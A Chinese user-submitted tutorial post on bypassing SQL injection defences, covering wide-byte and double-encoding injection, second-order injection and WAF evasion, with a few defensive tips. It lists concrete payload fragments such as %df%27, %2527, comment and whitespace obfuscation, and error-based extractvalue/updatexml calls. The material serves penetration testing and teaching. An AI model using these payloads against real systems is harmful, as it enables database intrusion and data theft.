SQL注入防御绕过

网友投稿 740 2022-10-09


SQL注入防御绕过

一、宽字节注入1、什么是宽字节GB2312、GBK、GB18030、BIG5等这些都是常说的宽字节,实际为两字节

2、宽字节注入原理防御:将 ' 转换为 \'绕过:将 \ 消灭

mysql在使用GBK编码的时候,会认为两个字符为一个汉字\ 编码为 %5c' 编码为%27%df%5c mysql会认为是一个汉字构造:%df' %df\' %df%5c%27 其中%df%5c将成为一个汉字专为 汉字' 从而绕过了/的转义注:前一个ascii码大于128才能到汉字的范围

白盒测试:1、查看mysql编码是否为GBK2、是否使用preg_replace把单引号替换成 \'3、是否使用addslashes进行转义4、是否使用mysql_real_escape_string进行转义

宽字节防御1、使用UTF-8,避免宽字节不仅GBK、韩文、日文等等都是宽字节,都有可能存在诸如漏洞2、mysql_real_escape_string, mysql_set_charset('gbk',$conn);3、可以设置参数, character_set_client=binary

二、二次编码注入在url中可能出现一些特殊字符,如= & ; +为了避免冲突,需要转移index.php?id=1&name=admin&pwd=123mysql会对url提交的编码进行自动转换例如:url中的%3d,mysql会自动转为=

宽字节和二次编码注入:是在面对php代码或配置,对输入的'(单引号)进行转义的时候,在处理用户输入数据时存在问题,可以绕过转义

二次编码注入是由于两次编码转义冲突导致出现的注入点注入方法:在注入点后键入%2527,然后按照正常的注入流程开始注入

白盒测试1、是否使用urldecode函数2、urldecode函数是否在转义方法之后

三、二次注入第一步, 插入恶意数据保留了原来的数据,插入到数据库第二步,引用恶意数据在将数据存入到了数据库中之后,开发者未经验证,直接引用例如修改密码输入admin'#在修改密码过程中,将会修改admin的密码

select concat_ws(0x7e,username,password) from security

四、Waf绕过原理分析sql注入是渗透测试与waf防御最激烈的战场1、白盒绕过1)大小写变形2)等价替换:and -> &&, or -> ||3)。。。

2、黑盒绕过一、架构层绕过 1) 寻找源站2)利用同网段3)利用边界漏洞

二、资源限制角度绕过 1、POST大BODY 三、协议层面绕过WAF的检测 1、协议未覆盖绕过WAF *请求方式变换 get -> post *content-type变换 2、参数污染 index.php?id=1&id=2 id=1 id=2 waf可能只检测id=1 四、规则层面的绕过 1、sql注释符绕过 level-1 union/**/select level-2 union/*ajlsjdlf*/select 2 空白符绕过 mysql空白符:%09,%0A。。。 正则空白符: %09,%0A example-1:union%250Cselect 3函数分分割符号 在函数和数据中间引入一些内容 concat%2520( concat/**/( concat%250c( 4 浮点数词法解析 select * from users where id=8E0union select 1,2,3,4 5 利用error-based进行sql注入:error-based sql注入函数非常容易被忽略 extractvalue(1, concat(0x5c,md5(3))); updatexml(1,concat(0x5d,md5(3)),1); 6 mysql特殊语法 select{x table_name}from{x information_schema.tables}; 五、Fuzz绕过waf 1、注释符绕过 *先测试最基本的: union/**/select *再测试中间引入特殊字:union/*aaaa%01bbs*/select *最后测试注释长度:union/*aaaaaaaaaaaaaaaa*/select 最基本的模式 union/*something*/select 将空格替换为/*sldfj$%^&*/ 特殊函数 xx() 替换为 xx/*sldfj$%^&*/() 六、SQLmap waf绕过脚本编写


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:Java之Jackson使用案例详解
下一篇:解决 LLVM 错误 fatal error: ‘csignal’ file not found(解决问题的能力)
相关文章

 发表评论

暂时没有评论,来抢沙发吧~